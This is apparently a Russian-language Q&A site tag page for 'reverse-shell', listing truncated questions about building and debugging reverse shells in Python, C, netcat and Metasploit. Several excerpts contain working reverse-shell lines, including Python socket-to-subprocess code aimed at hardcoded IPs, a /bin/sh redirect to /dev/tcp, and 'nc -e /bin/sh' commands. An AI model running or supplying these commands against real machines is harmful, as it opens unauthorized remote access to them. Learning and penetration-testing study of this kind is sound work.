Описание тега reverse-shell

1 ответ

Команды оболочки зависают на Python 3, но работают на Python 2

Ниже приведен мой код Python reverse_shell import os,socket,subprocess,threading def s2p(s, p): while True: data = s.recv(1024) if len(data) > 0: p.stdin.write(data) def p2s(s, p): while True: s.send(p.stdout.read(1)) s=socket.socket(socket.AF_IN…
2 ответа

Python Socket TCP-ограничение размера соединения?

В настоящее время я создаю обратную оболочку на основе TCP (клиент находится на удаленном компьютере, подключается к локальному серверу), которая может отправлять и получать файлы, а также отправлять команды оболочки через TCP. Программы отлично раб…
17 июн '18 в 04:52
2 ответа

Я не могу изменить каталог с помощью кодера обратной оболочки (tcp ip) в python

Я попытался закодировать обратную оболочку в python (reverse tcp ip) с помощью netcat, и я не могу изменить каталог с помощью модуля os.chdir (), вот мой код: import socket import subprocess import os host = 'localhost' port = 4444 s = socket.socket…
05 авг '17 в 20:49
1 ответ

Python http-клиент обратной оболочки аварийно завершает работу при запуске из exe

Я довольно новичок в программировании на python и смог заставить работать код при запуске скрипта из интерпретатора. Однако, когда я использую pyinstaller для создания исполняемого файла без окон, он падает, когда я посылаю клиенту простую команду, …
25 мар '18 в 22:41
0 ответов

Автоматически выполнять команды msfconsole после установления обратного подключения оболочки (не meterpreter)

Я запускаю скрипт.rc, команды которого автоматизируют процесс установления обратного TCP-соединения. Проблема в том, что я хочу обновить это соединение до meterpreter и хочу, чтобы этот процесс тоже был автоматизирован. Есть ли способ автоматически …
17 апр '18 в 11:39
2 ответа

Ошибка при запуске TCP Reverse shell

Я очень плохо знаком с сокетом, и в настоящее время я прохожу онлайн-курс для оскорбительных тестов. Одним из уроков является TCP Reverse shell. Я запускаю два сценария на отдельных виртуальных машинах (используя VirtualBox), один - злоумышленник, а…
0 ответов

Отсутствие маршрута к ошибке хоста при выполнении wget по URL внутри обратной оболочки PHP

Действия по воспроизведению: Получите обратную оболочку PHP. Перейдите в каталог tmp обратной оболочки. Выполнить команду: wget https://www.exploit-db.com/exploits/37474/ Получение ошибки: --2018-02-18 06:48:34-- https://www.exploit-db.com/exploits/…
18 фев '18 в 11:57
1 ответ

Каковы преимущества обратной оболочки HTTP по сравнению с обратной оболочкой TCP?

Я сделал многоклиентную обратную оболочку TCP и увидел видео курса, в котором говорилось, что обратные оболочки HTTP лучше, потому что сложно отследить злоумышленника по сравнению с TCP. Я не поняла это. Я попытался найти этот вопрос без особой помо…
30 июл '18 в 09:20
1 ответ

Выполнить обратную оболочку с помощью execve()

Мне нужно запустить обратную оболочку, используя execve, Я знаю, как запустить его из командной строки следующим образом: $ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 Я могу запустить простую версию /bin/sh позвоните следующим обр…
04 июл '17 в 22:07
0 ответов

Создание полностью интерактивной оболочки Windows cmd.exe

Я играл с этим на Windows, с netcat прослушивания на втором устройстве: #!/usr/bin/python import socket import subprocess HOST = '192.168.225.136' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, s…
28 фев '19 в 14:14
0 ответов

Откройте админ netcat обратная оболочка

Я хочу открыть обратную оболочку, используя netcat или ncat, но с правами администратора. Я использую запланированный пакетный файл для открытия обратной оболочки каждый день в 13:00, но проблема в том, что я хочу выполнять команды, требующие привил…
09 апр '18 в 22:10
2 ответа

Распечатать текущий каталог в обратной оболочке

Я попытался построить очень маленький перевернутый корпус в C. Соединение работает, команды также выполняются, но мне интересно, как можно распечатать текущий каталог. Мой код до сих пор: Клиент: // [...] // creating socket // connect void handle_co…
11 апр '18 в 15:19
1 ответ

Переадресация портов обратной оболочки

Я создаю обратную оболочку с Python, и у меня проблема с моим маршрутизатором в переадресации портов. У меня нет статического ip. В роутере: Протокол: TCP Lochealipaddr: 192.168.1.10 Localport: 8090 Wanipaddr: --- Wanport: 8090 состояние: включить в…
27 июн '18 в 15:05
0 ответов

Попытка подключиться к обратной оболочке выглядит как эхо

Я пытаюсь использовать виртуальный сервер, обладающий способностью воспринимать шок оболочки. Я успешно выполнил 2 части своей задачи и пытаюсь завершить третью часть, для которой мне нужна обратная оболочка. У меня есть команда ниже, но, похоже, я …
25 янв '19 в 14:27
1 ответ

WindowsError: [Ошибка 123] Неверный синтаксис имени файла, имени каталога или метки тома

Я делаю простую обратную оболочку Python 2.7, для функции смены каталога каждый раз, когда я набираю cd C:\ на моем сервере netcat, она выдает эту ошибку "WindowsError: [Ошибка 123] Синтаксис имени файла, имени каталога или метки тома неверно: 'C:\\…
22 дек '18 в 02:24
0 ответов

Оболочка обратного TCP не подключается, если для хоста клиента и сервера не задано значение localhost

Мой код сервера: import socket import sys # Create socket (allows two computers to connect) def socket_create(): try: global host global port global s host = '' port = 443 s = socket.socket() except socket.error as msg: print("Socket creation error:…
08 окт '18 в 18:44
1 ответ

Что такое эквивалент Rust скрипта обратной оболочки, написанного на Python?

Можно создать обратную оболочку, используя Python, со следующим примером кода, если компьютер с IP-адресом прослушивает данный порт: import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"192.168.1.3\", 6666)…
24 фев '18 в 02:43
0 ответов

VI на обратной оболочке

Мне нужно изменить конф. файл в моем широкополосном модеме. Я нашел способ подключения к оболочке: На моем компьютере с Ubuntu я установил NC на прослушивание -> nc -lvvp 10001 На роутере я мог запустить nc 10.0.0.122 10001 -e /bin/sh Теперь у меня …
22 янв '18 в 15:17
1 ответ

Netcat Reverse Shell не будет показывать живые результаты

Итак, я работаю над Reverse Shell для моего компьютера, так что, если что-то случится, я могу вернуться и исправить это. Я использовал команду nc -nvlp 1234 на ПК, а на другом я бегу nc -e /bin/sh <ip> 1234 используя это, я могу подключиться к…
12 мар '19 в 16:42
0 ответов

Исполняемый генератор python с использованием pyinstaller

Я делаю программу для генерации исполняемого файла, который запускает обратную оболочку при запуске, но мне нужна эта программа, чтобы получить ввод от пользователя (xxx = порт, xxx.xxx.xx = IP-адрес) и создать исполняемый файл, используя указанные …